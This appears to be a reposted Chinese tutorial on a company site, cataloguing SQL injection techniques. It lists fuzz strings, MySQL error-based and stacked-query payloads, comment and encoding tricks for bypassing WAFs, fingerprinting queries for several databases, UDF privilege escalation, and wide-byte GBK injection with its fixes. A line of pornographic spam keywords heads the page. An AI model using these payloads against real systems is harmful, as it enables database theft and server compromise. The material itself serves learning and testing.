欧美一区二区三区老妇人-欧美做爰猛烈大尺度电-99久久夜色精品国产亚洲a-亚洲福利视频一区二区

WEB安全中SQL注入漏洞的知識(shí)點(diǎn)有哪些

這篇文章主要介紹“WEB安全中SQL注入漏洞的知識(shí)點(diǎn)有哪些”,在日常操作中,相信很多人在WEB安全中SQL注入漏洞的知識(shí)點(diǎn)有哪些問(wèn)題上存在疑惑,小編查閱了各式資料,整理出簡(jiǎn)單好用的操作方法,希望對(duì)大家解答”WEB安全中SQL注入漏洞的知識(shí)點(diǎn)有哪些”的疑惑有所幫助!接下來(lái),請(qǐng)跟著小編一起來(lái)學(xué)習(xí)吧!

成都創(chuàng)新互聯(lián)服務(wù)項(xiàng)目包括河池網(wǎng)站建設(shè)、河池網(wǎng)站制作、河池網(wǎng)頁(yè)制作以及河池網(wǎng)絡(luò)營(yíng)銷策劃等。多年來(lái),我們專注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢(shì)、行業(yè)經(jīng)驗(yàn)、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機(jī)構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,河池網(wǎng)站推廣取得了明顯的社會(huì)效益與經(jīng)濟(jì)效益。目前,我們服務(wù)的客戶以成都為中心已經(jīng)輻射到河池省份的部分城市,未來(lái)相信會(huì)繼續(xù)擴(kuò)大服務(wù)區(qū)域并繼續(xù)獲得客戶的支持與信任!

SQL注入漏洞

3.1.1. 注入分類

SQL注入是一種代碼注入技術(shù),用于攻擊數(shù)據(jù)驅(qū)動(dòng)的應(yīng)用程序。在應(yīng)用程序中,如果沒(méi)有做恰當(dāng)?shù)倪^(guò)濾,則可能使得惡意的SQL語(yǔ)句被插入輸入字段中執(zhí)行(例如將數(shù)據(jù)庫(kù)內(nèi)容轉(zhuǎn)儲(chǔ)給攻擊者)。

3.1.1.1. 按技巧分類

根據(jù)使用的技巧,SQL注入類型可分為  

● 盲注

布爾盲注:只能從應(yīng)用返回中推斷語(yǔ)句執(zhí)行后的布爾值

時(shí)間盲注:應(yīng)用沒(méi)有明確的回顯,只能使用特定的時(shí)間函數(shù)來(lái)判斷

● 報(bào)錯(cuò)注入:應(yīng)用會(huì)顯示全部或者部分的報(bào)錯(cuò)信息

● 堆疊注入:有的應(yīng)用可以加入 ; 后一次執(zhí)行多條語(yǔ)句

● 其他

3.1.1.2. 按獲取數(shù)據(jù)的方式分類

另外也可以根據(jù)獲取數(shù)據(jù)的方式分為3類

● inband

利用Web應(yīng)用來(lái)直接獲取數(shù)據(jù)

如報(bào)錯(cuò)注入

都是通過(guò)站點(diǎn)的響應(yīng)或者錯(cuò)誤反饋來(lái)提取數(shù)據(jù)

● inference

通過(guò)Web的一些反映來(lái)推斷數(shù)據(jù)

如布爾盲注和堆疊注入

也就是我們通俗的盲注,

通過(guò)web應(yīng)用的其他改變來(lái)推斷數(shù)據(jù)

● out of band(OOB)

通過(guò)其他傳輸方式來(lái)獲得數(shù)據(jù),比如DNS解析協(xié)議和電子郵件

3.1.2. 注入檢測(cè)

3.1.2.1. 常見(jiàn)的注入點(diǎn)

● GET/POST/PUT/DELETE參數(shù)

● X-Forwarded-For

● 文件名

3.1.2.2. Fuzz注入點(diǎn)

● ' / "

● 1/1

● 1/0

● and 1=1

● " and "1"="1

● and 1=2

● or 1=1

● or 1=

● ' and '1'='1

● + - ^ * % /

● << >> || | & &&

● ~

● !

● @

● 反引號(hào)執(zhí)行

3.1.2.3. 測(cè)試用常量

● @@version

● @@servername

● @@language

● @@spid

3.1.2.4. 測(cè)試列數(shù)

例如:

http://www.foo.com/index.asp?id=12+union+select+nulll,null-- ,不斷增加 null 至不返回。

3.1.2.5. 報(bào)錯(cuò)注入

● select 1/0

● select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a

● extractvalue(1, concat(0x5c,(select user())))

● updatexml(0x3a,concat(1,(select user())),1)

● exp(~(SELECT * from(select user())a))

● ST_LatFromGeoHash((select * from(select * from(select user())a)b))

● GTID_SUBSET(version(), 1)

3.1.2.5.1. 基于geometric的報(bào)錯(cuò)注入

● GeometryCollection((select * from (select * from(select user())a)b))

● polygon((select * from(select * from(select user())a)b))

● multipoint((select * from(select * from(select user())a)b))

● multilinestring((select * from(select * from(select user())a)b))

● LINESTRING((select * from(select * from(select user())a)b))

● multipolygon((select * from(select * from(select user())a)b))

其中需要注意的是,基于exp函數(shù)的報(bào)錯(cuò)注入在MySQL 5.5.49后的版本已經(jīng)不再生效,具體可以參考這個(gè) commit 95825f 。

而以上列表中基于geometric的報(bào)錯(cuò)注入在這個(gè) commit 5caea4 中被修復(fù),在5.5.x較后的版本中同樣不再生效。

3.1.2.6. 堆疊注入

● ;select 1

3.1.2.7. 注釋符

● #

● --+

● /*xxx*/

● /*!xxx*/

● /*!50000xxx*/

3.1.2.8. 判斷過(guò)濾規(guī)則

● 是否有trunc

● 是否過(guò)濾某個(gè)字符

● 是否過(guò)濾關(guān)鍵字

● slash和編碼

3.1.2.9. 獲取信息

● 判斷數(shù)據(jù)庫(kù)類型

and exists (select * from msysobjects ) > 0 access數(shù)據(jù)庫(kù)

and exists (select * from sysobjects ) > 0 SQLServer數(shù)據(jù)庫(kù)

● 判斷數(shù)據(jù)庫(kù)表

and exsits (select * from admin)

● 版本、主機(jī)名、用戶名、庫(kù)名

● 表和字段

確定字段數(shù)(Order By Select Into)

表名、列名

3.1.2.10. 測(cè)試權(quán)限

● 文件操作

讀敏感文件

寫(xiě)shell

● 帶外通道

網(wǎng)絡(luò)請(qǐng)求

3.1.3. 權(quán)限提升

3.1.3.1. UDF提權(quán)

UDF(User Defined Function,用戶自定義函數(shù))是MySQL提供的一個(gè)功能,可以通過(guò)編寫(xiě)DLL擴(kuò)展為MySQL添加新函數(shù),擴(kuò)充其功能。  

當(dāng)獲得MySQL權(quán)限之后,即可通過(guò)這種方式上傳自定義的擴(kuò)展文件,從MySQL中執(zhí)行系統(tǒng)命令。

3.1.4. 數(shù)據(jù)庫(kù)檢測(cè)

3.1.4.1. MySQL

● sleep sleep(1)

● benchmark BENCHMARK(5000000, MD5('test'))

● 字符串連接

SELECT 'a' 'b'

SELECT CONCAT('some','string')

● version

SELECT @@version

SELECT version()

● 識(shí)別用函數(shù)

connection_id()

last_insert_id()

row_count()

3.1.4.2. Oracle

● 字符串連接

'a'||'oracle' --

SELECT CONCAT('some','string')

● version

SELECT banner FROM v$version

SELECT banner FROM v$version WHERE rownum=1

3.1.4.3. SQLServer

● WAITFOR WAITFOR DELAY '00:00:10';

● SERVERNAME SELECT @@SERVERNAME

● version SELECT @@version

● 字符串連接

SELECT 'some'+'string'

● 常量

@@pack_received

@@rowcount

3.1.4.4. PostgreSQL

● sleep pg_sleep(1)

3.1.5. 繞過(guò)技巧

● 編碼繞過(guò)

大小寫(xiě)

url編碼

html編碼

十六進(jìn)制編碼

unicode編碼

● 注釋

// -- -- + -- - # /**/ ;%00

內(nèi)聯(lián)注釋用的更多,它有一個(gè)特性 /!**/ 只有MySQL能識(shí)別

e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3

● 只過(guò)濾了一次時(shí)

union => ununionion

● 相同功能替換

● 函數(shù)替換

substring / mid / sub

ascii / hex / bin

benchmark / sleep

● 變量替換

user() / @@user

● 符號(hào)和關(guān)鍵字

and / &

or / |

● HTTP參數(shù)

HTTP參數(shù)污染

id=1&id=2&id=3 根據(jù)容器不同會(huì)有不同的結(jié)果

HTTP分割注入

● 緩沖區(qū)溢出

一些C語(yǔ)言的WAF處理的字符串長(zhǎng)度有限,超出某個(gè)長(zhǎng)度后的payload可能不會(huì)被處理。

● 二次注入有長(zhǎng)度限制時(shí),通過(guò)多句執(zhí)行的方法改掉數(shù)據(jù)庫(kù)該字段的長(zhǎng)度繞過(guò)

3.1.6. SQL注入小技巧

3.1.6.1. 寬字節(jié)注入

一般程序員用gbk編碼做開(kāi)發(fā)的時(shí)候,會(huì)用 set names 'gbk' 來(lái)設(shè)定,這句話等同于

set 

character_set_connection = 'gbk', 

character_set_result = 'gbk', 

character_set_client = 'gbk';

漏洞發(fā)生的原因是執(zhí)行了 set character_set_client = 'gbk'; 之后,mysql就會(huì)認(rèn)為客戶端傳過(guò)來(lái)的數(shù)據(jù)是gbk編碼的,從而使用gbk去解碼,而mysql_real_escape是在解碼前執(zhí)行的。但是直接用 set names 'gbk' 的話real_escape是不知道設(shè)置的數(shù)據(jù)的編碼的,就會(huì)加 %5c 。此時(shí)server拿到數(shù)據(jù)解碼 就認(rèn)為提交的字符+%5c是gbk的一個(gè)字符,這樣就產(chǎn)生漏洞了。

解決的辦法有三種,第一種是把client的charset設(shè)置為binary,就不會(huì)做一次解碼的操作。第二種是是 mysql_set_charset('gbk') ,這里就會(huì)把編碼的信息保存在和數(shù)據(jù)庫(kù)的連接里面,就不會(huì)出現(xiàn)這個(gè)問(wèn)題了。第三種就是用pdo。

還有一些其他的編碼技巧,比如latin會(huì)棄掉無(wú)效的unicode,那么admin%32在代碼里面不等于admin,在數(shù)據(jù)庫(kù)比較會(huì)等于admin。

到此,關(guān)于“WEB安全中SQL注入漏洞的知識(shí)點(diǎn)有哪些”的學(xué)習(xí)就結(jié)束了,希望能夠解決大家的疑惑。理論與實(shí)踐的搭配能更好的幫助大家學(xué)習(xí),快去試試吧!若想繼續(xù)學(xué)習(xí)更多相關(guān)知識(shí),請(qǐng)繼續(xù)關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編會(huì)繼續(xù)努力為大家?guī)?lái)更多實(shí)用的文章!

文章題目:WEB安全中SQL注入漏洞的知識(shí)點(diǎn)有哪些
分享鏈接:http://www.chinadenli.net/article22/gccsjc.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站排名服務(wù)器托管Google全網(wǎng)營(yíng)銷推廣外貿(mào)網(wǎng)站建設(shè)微信公眾號(hào)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)

成都網(wǎng)站建設(shè)公司